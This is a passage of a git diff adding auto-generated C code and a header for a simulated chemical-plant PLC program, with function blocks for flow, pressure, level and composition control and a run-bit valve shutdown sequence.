__SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE99_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE99_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT2(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE4_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE4_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT3(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE5_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE5_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT4(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE7_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE7_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_VAR(data__->RUN_BIT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->MOVE99_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE99_OUT,0,retain) + __INIT_VAR(data__->MOVE4_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE4_OUT,0,retain) + __INIT_VAR(data__->MOVE5_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE5_OUT,0,retain) + __INIT_VAR(data__->MOVE7_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->,MOVE99_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->RUN_BIT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE99_ENO,)) { + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->MOVE99_OUT,)); + }; + __SET_VAR(data__->,MOVE4_OUT,,__MAIN_MOVE__UINT__UINT2( + (BOOL)__GET_VAR(data__->MOVE99_ENO,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE4_ENO,)) { + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->MOVE4_OUT,)); + }; + __SET_VAR(data__->,MOVE5_OUT,,__MAIN_MOVE__UINT__UINT3( + (BOOL)__GET_VAR(data__->MOVE4_ENO,), + (UINT)65535, + data__)); + if (__GET_VAR(data__->MOVE5_ENO,)) { + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->MOVE5_OUT,)); + }; + __SET_VAR(data__->,MOVE7_OUT,,__MAIN_MOVE__UINT__UINT4( + (BOOL)__GET_VAR(data__->MOVE5_ENO,), + (UINT)65535, + data__)); + if (__GET_VAR(data__->MOVE7_ENO,)) { + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->MOVE7_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h new file mode 100644 index 0000000..d52a5d5 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h @@ -0,0 +1,431 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_VAR(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(BOOL,MOVE99_ENO) + __DECLARE_VAR(UINT,MOVE99_OUT) + __DECLARE_VAR(BOOL,MOVE4_ENO) + __DECLARE_VAR(UINT,MOVE4_OUT) + __DECLARE_VAR(BOOL,MOVE5_ENO) + __DECLARE_VAR(UINT,MOVE5_OUT) + __DECLARE_VAR(BOOL,MOVE7_ENO) + __DECLARE_VAR(UINT,MOVE7_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// 